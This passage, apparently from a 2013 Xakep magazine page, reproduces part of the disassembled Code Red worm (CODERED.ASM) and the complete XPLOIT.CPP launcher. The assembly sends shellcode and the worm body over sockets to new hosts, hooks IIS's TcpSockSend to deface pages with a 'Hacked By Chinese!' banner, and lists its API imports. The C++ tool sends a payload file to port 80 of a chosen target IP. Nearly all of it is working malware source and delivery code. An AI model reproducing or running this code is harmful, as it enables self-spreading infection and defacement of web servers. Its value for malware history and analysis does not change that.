mov     eax, [ebp+main_arg]
mov     ecx, [eax+wrm.name_with_shellcode]
mov     [ebp+k], ecx
jmp     short @@17
; k++
@@16:
mov     edx, [ebp+k]
add     edx, 1
mov     [ebp+k], edx
; i++
mov     eax, [ebp+i]
add     eax, 1
mov     [ebp+i], eax
; if ((char*)k == 0) break
@@17:
mov     ecx, [ebp+k]
movsx   edx, byte ptr [ecx]
test    edx, edx
jz      short @@18
jmp     short @@16
; send shellcode
@@18:
mov     esi, esp
push    0
mov     eax, [ebp+i]    ; calculated length
push    eax
mov     ecx, [ebp+main_arg]
mov     edx, [ecx+wrm.name_with_shellcode]
push    edx
mov     eax, [ebp+sock]
push    eax
call    [ebp+WS2_send]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; calculate length of terminating http header
; for(i = 0, k = msg_httphdr; (char*)k != 0; k++, i++)
; {
; i = 0
mov     [ebp+i], 0
; k = msg_httphdr
mov     ecx, [ebp+ptr_to_strings]
add     ecx, msg_httphdr — msg_get ; HTTP/1.0 …
mov     [ebp+k], ecx
jmp     short @@20
; k++
@@19:
mov     edx, [ebp+k]
add     edx, 1
mov     [ebp+k], edx
; i++
mov     eax, [ebp+i]
add     eax, 1
mov     [ebp+i], eax
; if ((char*)k == 0) break
@@20:
mov     ecx, [ebp+k]
movsx   edx, byte ptr [ecx]
test    edx, edx
jz      short @@21
jmp     short @@19
; } // for
; send http hdr
@@21:
mov     esi, esp
push    0
mov     eax, [ebp+i]
push    eax
mov     ecx, [ebp+ptr_to_strings]
add     ecx, msg_httphdr — msg_get ; HTTP/1.0 …
push    ecx
mov     edx, [ebp+sock]
push    edx
call    [ebp+WS2_send]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; i = size of worm’s body
mov     eax, [ebp+main_arg]
mov     ecx, [eax+wrm.wormbody_size]
mov     [ebp+i], ecx
; send worm body
mov     esi, esp
push    0
mov     edx, [ebp+i]
push    edx
mov     eax, [ebp+main_arg]
mov     ecx, [eax+wrm.wormbody_ptr]
push    ecx
mov     edx, [ebp+sock]
push    edx
call    [ebp+WS2_send]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; receive 256 bytes into iobuf
mov     [ebp+iobuf], 0
mov     esi, esp
push    0
push    256             ; size
lea     eax, [ebp+iobuf]
push    eax
mov     ecx, [ebp+sock]
push    ecx
call    [ebp+WS2_recv]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; i = # of bytes received
mov     [ebp+i], eax
@@closesocket:
mov     esi, esp
mov     edx, [ebp+sock]
push    edx
call    [ebp+WS2_closesocket]
cmp     esi, esp
nop
inc     ebx
dec     ebx
inc     ebx
dec     ebx
; check file and try next ip
jmp     check_notworm
; never used
jmp$:

jmp     short jmp$
@@push_ptr_to_fake_tcpsocksend:
call    @@pop_ptr_to_fake_tcpsocksend
fake_tcpsocksend:
jmp     short @@push_ptr_to_temparea_minus_5
@@pop_ptr_to_temparea_minus_5:
pop     eax
add     eax, 5          ; now ptr to temp_area
push    ebp
push    edi
push    ebx
push    esi
;
push    eax
push    3Ch
mov     esi, eax
add     esi, temp_0C — temp_area
push    esi
pop     eax
push    eax
push    dword ptr [esp+18h] ; socket == 1st arg
call    dword ptr [eax + temp_closesocket - temp_area] ; temp_closesocket
pop     eax
;
pop     esi
pop     ebx
pop     edi
pop     ebp
jmp     dword ptr [eax + temp_TcpSockSend - temp_area]
nop
@@push_ptr_to_temparea_minus_5:
call    @@pop_ptr_to_temparea_minus_5
@@push_ptr_to_temp_area:
call    @@pop_ptr_to_temparea
temp_area:
temp_TcpSockSend dd 6E22F8EBh

temp_closesocket dd 75033284h

temp_defacedataptr dd 45ACAB3h

temp_0C         dd 0B8123456h
db  78h ; x
db  56h ; V
db  34h ; 4
db  12h ;
db 0B8h ; ¬
db  78h ; x
db  56h ; V
db  34h ; 4
db  12h ;
set_sehreturn_to_next:
pop     eax
push    eax
mov     edi, [ebp+ptr_to_strings]
mov     [edi + sehreturn_addr_plus_4 - 4 - strings], eax
retn
seh_handler_real:
mov     eax, [esp+0Ch]  ; context ptr
add     eax, 0B8h       ; 0xB8 == context.EIP
mov     dword ptr [eax], 0CDF1DAh ; set address to return to
sehreturn_addr_plus_4:
xor     eax, eax
retn
seh_handler:
jmp     short seh_handler_real
@@push_ptr_to_strings:
call    @@pop_ptr_to_strings

worm_main       endp

; order of the following strings must be the same
; as order of corresponding variables on the stack;
; 9 means that following name is DLL name and
; LoadLibrary must be called instead of GetProcAddress
; variables:
;   KERNEL32_LoadLibraryA
;   …
;   W3SVC_IMAGEBASE

strings         label byte

; KERNEL32.DLL
db ‘LoadLibraryA’,0
db ‘GetSystemTime’,0
db ‘CreateThread’,0
db ‘CreateFileA’,0
db ‘Sleep’,0
db ‘GetSystemDefaultLangID’,0
db ‘VirtualProtect’,0

db 9                 ; library id
db ‘infocomm.dll’,0
db ‘TcpSockSend’,0

db 9                 ; library id
db ‘WS2_32.dll’,0
db ‘socket’,0
db ‘connect’,0
db ‘send’,0
db ‘recv’,0
db ‘closesocket’,0

db 9                 ; library id
db ‘w3svc.dll’,0

db  0                ; terminator

msg_get         db ‘GET ‘,0

msg_?           db ‘?’,0

msg_httphdr     db ‘  HTTP/1.0′,0Dh,0Ah
db ‘Content-type: text/xml’,0Ah
db ‘HOST:www.worm.com’,0Ah
db ‘ Accept: */*’,0Ah
db ‘Content-length: 3569 ‘,0Dh,0Ah
db 0Dh,0Ah,0

msg_cnotworm    db ‘c:\notworm’,0

msg_deface_id   dd ‘HTML’

msg_deface      db 0Dh,0Ah
db ‘<html><head><meta http-equiv=»Content-Type» content=»text/ht’
db ‘ml; charset=english»><title>HELLO!</title></head><bady><hr s’
db ‘ize=5><font color=»red»><p align=»center»>Welcome to http://’
db ‘www.worm.com !<br><br>Hacked By Chinese!</font></hr></bady><’
db ‘/html>’

db 148 dup(32)

; end of worm body

db      ‘$END$’         ; signature for XPLOIT.exe
end

=====[end of CODERED.ASM]=================================================
=====[begin of XPLOIT.CPP]================================================

// to compile: BCC32 xploit
// syntax:     XPLOIT <target_ip> filename

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#define IISCTL_CONNECT_TIMEOUT   60
#define IISCTL_RECV_TIMEOUT      120

int iis_ctl(DWORD target_ip, BYTE* buf, DWORD bufsize)
{
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
if (sock == INVALID_SOCKET)
{
printf(«XPLOIT:IISCTL:ERROR:cant create socket, error %i\n», WSAGetLastError());
return 0;
}

DWORD nb1 = 1;
ioctlsocket(sock, FIONBIO, &nb1);

sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(80);
addr.sin_addr.s_addr = target_ip;

printf(«XPLOIT:IISCTL:connecting to http://%s/\n», inet_ntoa(*(in_addr*)&target_ip));

int res = connect(sock, (sockaddr*)&addr, sizeof(addr));
if ((res == SOCKET_ERROR) && (WSAGetLastError() != WSAEWOULDBLOCK))
{
printf(«XPLOIT:IISCTL:ERROR:connect() error %i\n», WSAGetLastError());
closesocket(sock);
return 0;
}

fd_set writefds;
writefds.fd_count = 1;
writefds.fd_array[0] = sock;

timeval timeout = {IISCTL_CONNECT_TIMEOUT,0};

if (select(1, NULL,&writefds,NULL, &timeout) == 0)
{
printf(«XPLOIT:IISCTL:ERROR:connect() timeout!\n»);
closesocket(sock);
return 0;
}

printf(«XPLOIT:IISCTL:connected, sending stuff\n»);

if (send(sock, buf, bufsize, 0) == SOCKET_ERROR)
{
printf(«XPLOIT:IISCTL:ERROR:send() error %i\n», WSAGetLastError());
closesocket(sock);
return 0;
}

printf(«XPLOIT:IISCTL:waiting for reply…\n»);

for(;;)
{
char buf[4096];

fd_set readfds;
readfds.fd_count = 1;
readfds.fd_array[0] = sock;

timeval timeout = {IISCTL_RECV_TIMEOUT,0};

if (select(1, &readfds,NULL,NULL, &timeout) == 0)
{
printf(«XPLOIT:IISCTL:ERROR:timeout!\n»);
break;
}

int res = recv(sock, buf, sizeof(buf)-1, 0);
if (res == 0)
{
printf(«XPLOIT:IISCTL:recv:connection closed by server\n»);
break;
}
if (res == SOCKET_ERROR)
{
printf(«XPLOIT:IISCTL:ERROR:recv() error %i\n», WSAGetLastError());
break;
}

for(int i=0; i<res; i++)
if (buf[i]==0)
buf[i]=’?';
buf[res] = 0;

printf(«%s», buf);
}

printf(«\nXPLOIT:IISCTL:closing connection\n»);
closesocket(sock);

return 1;
}

void main(int argc, char* argv[])
{
if (argc != 3)
{
printf(«syntax: XPLOIT <target_ip> filename\n»);
printf(«    target_ip   — IP address, to send file to\n»);
printf(«    filename    — file containing http request\n»);
return;
}

DWORD target_ip = inet_addr(argv[1]);
char* datafile  = argv[2];

FILE*f = fopen(datafile, «rb»);
if (f == NULL)
{
printf(«XPLOIT:ERROR:cant read file %s\n», datafile);
return;
}

DWORD bufsize = filelength(fileno(f));
BYTE* buf = new BYTE[ bufsize+1 ];
if (buf == NULL)
{
printf(«XPLOIT:ERROR:cant alloc %i bytes\n», bufsize);
return;
}
fread(buf, 1,bufsize, f);
fclose(f);

for(DWORD i=0; i<bufsize; i++)
if (memcmp(&buf[i], «$START$», 7)==0)
memcpy(buf, &buf[i+7], bufsize-i-7);
for(DWORD i=0; i<bufsize; i++)
if (memcmp(&buf[i], «$END$», 5)==0)
bufsize = i;

WSADATA WSAData;
if ( WSAStartup(MAKEWORD(1,1), &WSAData) != 0 )
{
printf(«XPLOIT:ERROR:WSAStartup failed\n»);
return;
}

int res = iis_ctl(target_ip, buf, bufsize);
if (res)
printf(«XPLOIT:success\n»);
else
printf(«XPLOIT:failed\n»);

WSACleanup();

}

=====[end of XPLOIT.CPP]==================================================



©2013 Журнал Хакера Entries (RSS) and Comments (RSS)